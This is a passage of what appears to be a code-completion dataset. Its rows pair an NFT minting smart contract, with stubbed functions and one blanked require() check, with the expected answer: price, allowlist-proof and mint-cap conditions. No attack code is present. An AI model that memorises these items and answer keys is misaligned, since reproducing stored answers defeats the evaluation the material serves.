}
// Allows the contract owner to update the merkle root (free mint list)
function setFreeMintMerkleRoot(bytes32 _freeMintMerkleroot) external onlyOwner {
}
// Allows the contract owner to set a new base URI string
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
// Allows the contract owner to set the wl cap
function setWLCap(uint _newCap) external onlyOwner {
}
// Overrides the tokenURI function so that the base URI can be returned
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function mint(uint256 _amount) external payable {
uint256 supply = totalSupply();
uint256 mintCount = addressMintCount[msg.sender];
require(mintPhase==2, "Public sale is not yet active");
require(_amount > 0, "Mint amount can't be zero");
require(mintCount + _amount <= MAX_MINT_COUNT, "Exceeded max mint count");
require(supply + _amount <= MAX_TOTAL_SUPPLY, "Max mint supply has been reached");
require(<FILL_ME>)
addressMintCount[msg.sender] = mintCount + _amount;
_safeMint(msg.sender, _amount);
}
// Only accessible by the contract owner. This function is used to mint tokens for the team.
function ownerMint(uint256 _amount, address _recipient) external onlyOwner {
}
// Minting function for addresses on the allowlist only
function mintAllowList(uint256 _amount, bytes32[] calldata _proof) external payable {
}
// Minting function addresses on the OG list only
function mintFreeMintList(bytes32[] calldata _proof) external {
}
// An owner-only function which toggles the public sale on/off
function changeMintPhase(uint256 _newPhase) external onlyOwner {
}
// An owner-only function which toggles the allowBurn variable
function toggleAllowBurn() external onlyOwner {
}
// Used to construct a merkle tree leaf
function _leaf(address _account)
internal pure returns (bytes32)
{
}
// Verifies a leaf is part of the tree
function _verify(bytes32 leaf, bytes32[] memory _proof, bytes32 _root) pure
internal returns (bool)
{
}
// Overrides the ERC721A burn function
function burn(uint256 _tokenId) public virtual override {
}
}
| _amount*MINT_PRICE==msg.value,"Check mint price" | 230,426 | _amount*MINT_PRICE==msg.value |
"Wallet not on allowlist" | // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@ @@@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@ @@@@ &@@@@@@@@@@@@ @@@@@
// @@@@@ @@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@ @@@@@@
// @@@@@ #@ @@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@. @@@@@@@ @@@@@@@@
// @@@@@ #@@ @@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ @@@@ @@@@@@@@@
// @@@@@ #@@@@ @@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@ & @@@@@@@@@@@
// @@@@@ #@@@@@ @@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@ *@@@@@@@@@@@@
// @@@@@ #@@@@@@@ @@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@ &@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@ @@
// @@@ @@@@@@@@ .@@@@@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@ @@@@@* &@@@@@@@@@@@@ @@
// @@@ @@@@@@@@@ @@@@@@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@@@@@ @@@@@* /@@@@@@@@@@@@@@@@@@ @@
// @@@ @@@@@*@@@, @@@@ @@@@@ @@@@@@ @@@@@ @@@@@ @@@@@ @@@@@* @@@@@@, @@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@ @@@@@* @@@@@@ @@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ %@@@@@@@@@@@ @@@@@* @@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@@@ @@@@@* &@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@ @@@@@* @@@@@ @@
// @@@ @@@@@ @@@@ ,@@@ @@@@@ @@@@@@ @@@@@ @@@@@@ @@@@@ @@@@@* @@@@@@ @@@@@@ @@
// @@@ @@@@@ @@@@@@@@ @@@@@ @@@@@@@ @@@@@@ @@@@@# ,@@@@@ @@@@@* @@@@@@@ @@@@@@ @@
// @@@ @@@@@ &@@@@@@ @@@@@ /@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@ @@@@@* @@@@@@@@@@@@@@@@@ @@
// @@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@ @@@@@@@@@@@@@ @@@@@* @@@@@@@@@@@* @@
// @@@ @@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721ABurnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
contract NiftyMusic721 is ERC721A, ERC721ABurnable, Ownable, PaymentSplitter {
using Strings for uint256;
// The total tokens minted to an address. Does not matter if tokens are transferred out
mapping(address => uint256) public addressMintCount;
mapping(address => bool) public freeMintClaimed;
string public baseTokenURI; // Can be combined with the tokenId to create the metadata URI
uint256 public mintPhase = 0; // 0 = closed, 1 = WL sale, 2 = public sale
bool public allowBurn = false; // Admin toggle for allowing the burning of tokens
uint256 public constant MINT_PRICE = 0.05 ether; // Public mint price
uint256 public constant ALLOWLIST_MINT_PRICE = 0.045 ether; // Mint price for allowlisted addresses only
uint256 public constant MAX_TOTAL_SUPPLY = 2500; // The maximum total supply of tokens
uint256 public constant MAX_MINT_COUNT = 10; // The maximum number of tokens any one address can mint
uint256 public maxWLMintCount = 20; // The maximum number of tokens a whitelisted address can mint
bytes32 public wlRoot; // The merkle tree root. Used for verifying allowlist addresses
bytes32 public freeMintRoot; // Merkle root for free mint list
uint256 private constant MAX_TOKEN_ITERATIONS = 40; // Used to prevent out-of-gas errors when looping
event SetBaseURI(address _from);
event Withdraw(address _from, address _to, uint amount);
event MintPhaseChanged(address _from, uint newPhase);
event ToggleAllowBurn(bool isAllowed);
constructor(string memory _baseUri, bytes32 _WLmerkleroot, bytes32 _freeMintMerkleroot, address[] memory _payees, uint256[] memory _shares) ERC721A("Moonshot", "MOON") PaymentSplitter(_payees, _shares) {
}
// Allows the contract owner to update the merkle root (allowlist)
function setWLMerkleRoot(bytes32 _WLmerkleroot) external onlyOwner {
}
// Allows the contract owner to update the merkle root (free mint list)
function setFreeMintMerkleRoot(bytes32 _freeMintMerkleroot) external onlyOwner {
}
// Allows the contract owner to set a new base URI string
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
// Allows the contract owner to set the wl cap
function setWLCap(uint _newCap) external onlyOwner {
}
// Overrides the tokenURI function so that the base URI can be returned
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function mint(uint256 _amount) external payable {
}
// Only accessible by the contract owner. This function is used to mint tokens for the team.
function ownerMint(uint256 _amount, address _recipient) external onlyOwner {
}
// Minting function for addresses on the allowlist only
function mintAllowList(uint256 _amount, bytes32[] calldata _proof) external payable {
uint256 supply = totalSupply();
uint256 mintCount = addressMintCount[msg.sender];
require(<FILL_ME>)
require(mintCount + _amount <= maxWLMintCount, "Exceeded whitelist allowance.");
require(mintPhase==1, "Allowlist sale is not active");
require(_amount > 0, "Mint amount can't be zero");
require(_amount <= MAX_TOKEN_ITERATIONS, "You cannot mint this many in one transaction."); // Used to avoid OOG errors
require(supply + _amount <= MAX_TOTAL_SUPPLY, "Max supply is reached");
require(_amount * ALLOWLIST_MINT_PRICE == msg.value, "Incorrect price");
addressMintCount[msg.sender] = mintCount + _amount;
_safeMint(msg.sender, _amount);
}
// Minting function addresses on the OG list only
function mintFreeMintList(bytes32[] calldata _proof) external {
}
// An owner-only function which toggles the public sale on/off
function changeMintPhase(uint256 _newPhase) external onlyOwner {
}
// An owner-only function which toggles the allowBurn variable
function toggleAllowBurn() external onlyOwner {
}
// Used to construct a merkle tree leaf
function _leaf(address _account)
internal pure returns (bytes32)
{
}
// Verifies a leaf is part of the tree
function _verify(bytes32 leaf, bytes32[] memory _proof, bytes32 _root) pure
internal returns (bool)
{
}
// Overrides the ERC721A burn function
function burn(uint256 _tokenId) public virtual override {
}
}
| _verify(_leaf(msg.sender),_proof,wlRoot),"Wallet not on allowlist" | 230,426 | _verify(_leaf(msg.sender),_proof,wlRoot) |
"Exceeded whitelist allowance." | // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@ @@@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@ @@@@ &@@@@@@@@@@@@ @@@@@
// @@@@@ @@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@ @@@@@@
// @@@@@ #@ @@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@. @@@@@@@ @@@@@@@@
// @@@@@ #@@ @@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ @@@@ @@@@@@@@@
// @@@@@ #@@@@ @@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@ & @@@@@@@@@@@
// @@@@@ #@@@@@ @@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@ *@@@@@@@@@@@@
// @@@@@ #@@@@@@@ @@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@ &@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@ @@
// @@@ @@@@@@@@ .@@@@@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@ @@@@@* &@@@@@@@@@@@@ @@
// @@@ @@@@@@@@@ @@@@@@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@@@@@ @@@@@* /@@@@@@@@@@@@@@@@@@ @@
// @@@ @@@@@*@@@, @@@@ @@@@@ @@@@@@ @@@@@ @@@@@ @@@@@ @@@@@* @@@@@@, @@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@ @@@@@* @@@@@@ @@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ %@@@@@@@@@@@ @@@@@* @@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@@@ @@@@@* &@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@ @@@@@* @@@@@ @@
// @@@ @@@@@ @@@@ ,@@@ @@@@@ @@@@@@ @@@@@ @@@@@@ @@@@@ @@@@@* @@@@@@ @@@@@@ @@
// @@@ @@@@@ @@@@@@@@ @@@@@ @@@@@@@ @@@@@@ @@@@@# ,@@@@@ @@@@@* @@@@@@@ @@@@@@ @@
// @@@ @@@@@ &@@@@@@ @@@@@ /@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@ @@@@@* @@@@@@@@@@@@@@@@@ @@
// @@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@ @@@@@@@@@@@@@ @@@@@* @@@@@@@@@@@* @@
// @@@ @@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721ABurnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
contract NiftyMusic721 is ERC721A, ERC721ABurnable, Ownable, PaymentSplitter {
using Strings for uint256;
// The total tokens minted to an address. Does not matter if tokens are transferred out
mapping(address => uint256) public addressMintCount;
mapping(address => bool) public freeMintClaimed;
string public baseTokenURI; // Can be combined with the tokenId to create the metadata URI
uint256 public mintPhase = 0; // 0 = closed, 1 = WL sale, 2 = public sale
bool public allowBurn = false; // Admin toggle for allowing the burning of tokens
uint256 public constant MINT_PRICE = 0.05 ether; // Public mint price
uint256 public constant ALLOWLIST_MINT_PRICE = 0.045 ether; // Mint price for allowlisted addresses only
uint256 public constant MAX_TOTAL_SUPPLY = 2500; // The maximum total supply of tokens
uint256 public constant MAX_MINT_COUNT = 10; // The maximum number of tokens any one address can mint
uint256 public maxWLMintCount = 20; // The maximum number of tokens a whitelisted address can mint
bytes32 public wlRoot; // The merkle tree root. Used for verifying allowlist addresses
bytes32 public freeMintRoot; // Merkle root for free mint list
uint256 private constant MAX_TOKEN_ITERATIONS = 40; // Used to prevent out-of-gas errors when looping
event SetBaseURI(address _from);
event Withdraw(address _from, address _to, uint amount);
event MintPhaseChanged(address _from, uint newPhase);
event ToggleAllowBurn(bool isAllowed);
constructor(string memory _baseUri, bytes32 _WLmerkleroot, bytes32 _freeMintMerkleroot, address[] memory _payees, uint256[] memory _shares) ERC721A("Moonshot", "MOON") PaymentSplitter(_payees, _shares) {
}
// Allows the contract owner to update the merkle root (allowlist)
function setWLMerkleRoot(bytes32 _WLmerkleroot) external onlyOwner {
}
// Allows the contract owner to update the merkle root (free mint list)
function setFreeMintMerkleRoot(bytes32 _freeMintMerkleroot) external onlyOwner {
}
// Allows the contract owner to set a new base URI string
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
// Allows the contract owner to set the wl cap
function setWLCap(uint _newCap) external onlyOwner {
}
// Overrides the tokenURI function so that the base URI can be returned
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function mint(uint256 _amount) external payable {
}
// Only accessible by the contract owner. This function is used to mint tokens for the team.
function ownerMint(uint256 _amount, address _recipient) external onlyOwner {
}
// Minting function for addresses on the allowlist only
function mintAllowList(uint256 _amount, bytes32[] calldata _proof) external payable {
uint256 supply = totalSupply();
uint256 mintCount = addressMintCount[msg.sender];
require(_verify(_leaf(msg.sender), _proof, wlRoot), "Wallet not on allowlist");
require(<FILL_ME>)
require(mintPhase==1, "Allowlist sale is not active");
require(_amount > 0, "Mint amount can't be zero");
require(_amount <= MAX_TOKEN_ITERATIONS, "You cannot mint this many in one transaction."); // Used to avoid OOG errors
require(supply + _amount <= MAX_TOTAL_SUPPLY, "Max supply is reached");
require(_amount * ALLOWLIST_MINT_PRICE == msg.value, "Incorrect price");
addressMintCount[msg.sender] = mintCount + _amount;
_safeMint(msg.sender, _amount);
}
// Minting function addresses on the OG list only
function mintFreeMintList(bytes32[] calldata _proof) external {
}
// An owner-only function which toggles the public sale on/off
function changeMintPhase(uint256 _newPhase) external onlyOwner {
}
// An owner-only function which toggles the allowBurn variable
function toggleAllowBurn() external onlyOwner {
}
// Used to construct a merkle tree leaf
function _leaf(address _account)
internal pure returns (bytes32)
{
}
// Verifies a leaf is part of the tree
function _verify(bytes32 leaf, bytes32[] memory _proof, bytes32 _root) pure
internal returns (bool)
{
}
// Overrides the ERC721A burn function
function burn(uint256 _tokenId) public virtual override {
}
}
| mintCount+_amount<=maxWLMintCount,"Exceeded whitelist allowance." | 230,426 | mintCount+_amount<=maxWLMintCount |
"Incorrect price" | // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@ @@@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@ @@@@ &@@@@@@@@@@@@ @@@@@
// @@@@@ @@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@ @@@@@@
// @@@@@ #@ @@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@. @@@@@@@ @@@@@@@@
// @@@@@ #@@ @@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ @@@@ @@@@@@@@@
// @@@@@ #@@@@ @@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@ & @@@@@@@@@@@
// @@@@@ #@@@@@ @@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@ *@@@@@@@@@@@@
// @@@@@ #@@@@@@@ @@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@ &@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@ @@
// @@@ @@@@@@@@ .@@@@@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@ @@@@@* &@@@@@@@@@@@@ @@
// @@@ @@@@@@@@@ @@@@@@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@@@@@ @@@@@* /@@@@@@@@@@@@@@@@@@ @@
// @@@ @@@@@*@@@, @@@@ @@@@@ @@@@@@ @@@@@ @@@@@ @@@@@ @@@@@* @@@@@@, @@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@ @@@@@* @@@@@@ @@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ %@@@@@@@@@@@ @@@@@* @@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@@@@ @@@@@* &@@@@@ @@
// @@@ @@@@@ @@@@ @@@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@ @@@@@* @@@@@ @@
// @@@ @@@@@ @@@@ ,@@@ @@@@@ @@@@@@ @@@@@ @@@@@@ @@@@@ @@@@@* @@@@@@ @@@@@@ @@
// @@@ @@@@@ @@@@@@@@ @@@@@ @@@@@@@ @@@@@@ @@@@@# ,@@@@@ @@@@@* @@@@@@@ @@@@@@ @@
// @@@ @@@@@ &@@@@@@ @@@@@ /@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@ @@@@@* @@@@@@@@@@@@@@@@@ @@
// @@@ @@@@@ @@@@@@ @@@@@ @@@@@@@@@@@@@ @@@@@@@@@@@@@ @@@@@* @@@@@@@@@@@* @@
// @@@ @@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721ABurnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
contract NiftyMusic721 is ERC721A, ERC721ABurnable, Ownable, PaymentSplitter {
using Strings for uint256;
// The total tokens minted to an address. Does not matter if tokens are transferred out
mapping(address => uint256) public addressMintCount;
mapping(address => bool) public freeMintClaimed;
string public baseTokenURI; // Can be combined with the tokenId to create the metadata URI
uint256 public mintPhase = 0; // 0 = closed, 1 = WL sale, 2 = public sale
bool public allowBurn = false; // Admin toggle for allowing the burning of tokens
uint256 public constant MINT_PRICE = 0.05 ether; // Public mint price
uint256 public constant ALLOWLIST_MINT_PRICE = 0.045 ether; // Mint price for allowlisted addresses only
uint256 public constant MAX_TOTAL_SUPPLY = 2500; // The maximum total supply of tokens
uint256 public constant MAX_MINT_COUNT = 10; // The maximum number of tokens any one address can mint
uint256 public maxWLMintCount = 20; // The maximum number of tokens a whitelisted address can mint
bytes32 public wlRoot; // The merkle tree root. Used for verifying allowlist addresses
bytes32 public freeMintRoot; // Merkle root for free mint list
uint256 private constant MAX_TOKEN_ITERATIONS = 40; // Used to prevent out-of-gas errors when looping
event SetBaseURI(address _from);
event Withdraw(address _from, address _to, uint amount);
event MintPhaseChanged(address _from, uint newPhase);
event ToggleAllowBurn(bool isAllowed);
constructor(string memory _baseUri, bytes32 _WLmerkleroot, bytes32 _freeMintMerkleroot, address[] memory _payees, uint256[] memory _shares) ERC721A("Moonshot", "MOON") PaymentSplitter(_payees, _shares) {
}
// Allows the contract owner to update the merkle root (allowlist)
function setWLMerkleRoot(bytes32 _WLmerkleroot) external onlyOwner {
}
// Allows the contract owner to update the merkle root (free mint list)
function setFreeMintMerkleRoot(bytes32 _freeMintMerkleroot) external onlyOwner {
}
// Allows the contract owner to set a new base URI string
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
// Allows the contract owner to set the wl cap
function setWLCap(uint _newCap) external onlyOwner {
}
// Overrides the tokenURI function so that the base URI can be returned
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function mint(uint256 _amount) external payable {
}
// Only accessible by the contract owner. This function is used to mint tokens for the team.
function ownerMint(uint256 _amount, address _recipient) external onlyOwner {
}
// Minting function for addresses on the allowlist only
function mintAllowList(uint256 _amount, bytes32[] calldata _proof) external payable {
uint256 supply = totalSupply();
uint256 mintCount = addressMintCount[msg.sender];
require(_verify(_leaf(msg.sender), _proof, wlRoot), "Wallet not on allowlist");
require(mintCount + _amount <= maxWLMintCount, "Exceeded whitelist allowance.");
require(mintPhase==1, "Allowlist sale is not active");
require(_amount > 0, "Mint amount can't be zero");
require(_amount <= MAX_TOKEN_ITERATIONS, "You cannot mint this many in one transaction."); // Used to avoid OOG errors
require(supply + _amount <= MAX_TOTAL_SUPPLY, "Max supply is reached");
require(<FILL_ME>)
addressMintCount[msg.sender] = mintCount + _amount;
_safeMint(msg.sender, _amount);
}
// Minting function addresses on the OG list only
function mintFreeMintList(bytes32[] calldata _proof) external {
}
// An owner-only function which toggles the public sale on/off
function changeMintPhase(uint256 _newPhase) external onlyOwner {
}
// An owner-only function which toggles the allowBurn variable
function toggleAllowBurn() external onlyOwner {
}
// Used to construct a merkle tree leaf
function _leaf(address _account)
internal pure returns (bytes32)
{
}
// Verifies a leaf is part of the tree
function _verify(bytes32 leaf, bytes32[] memory _proof, bytes32 _root) pure
internal returns (bool)
{
}
// Overrides the ERC721A burn function
function burn(uint256 _tokenId) public virtual override {
}
}
| _amount*ALLOWLIST_MINT_PRICE==msg.value,"Incorrect price" | 230,426 | _amount*ALLOWLIST_MINT_PRICE==msg.value |
"Wallet not on free mint list" | // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@ @@@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@ @@@@ &@@@@@@@@@@@@ @@@@@
// @@@@@ @@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@ @@@@@@
// @@@@@ #@ @@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@. @@@@@@@ @@@@@@@@
// @@@@@ #@@ @@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ @@@@ @@@@@@@@@
// @@@@@ #@@@@ @@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@ & @@@@@@@@@@@
// @@@@@ #@@@@@ @@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@ *@@@@@@@@@@@@
// @@@@@ #@@@@@@@ @@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@ &@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@ #@@@@@@@@@@@@ @@@@@@@@* @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@ @@
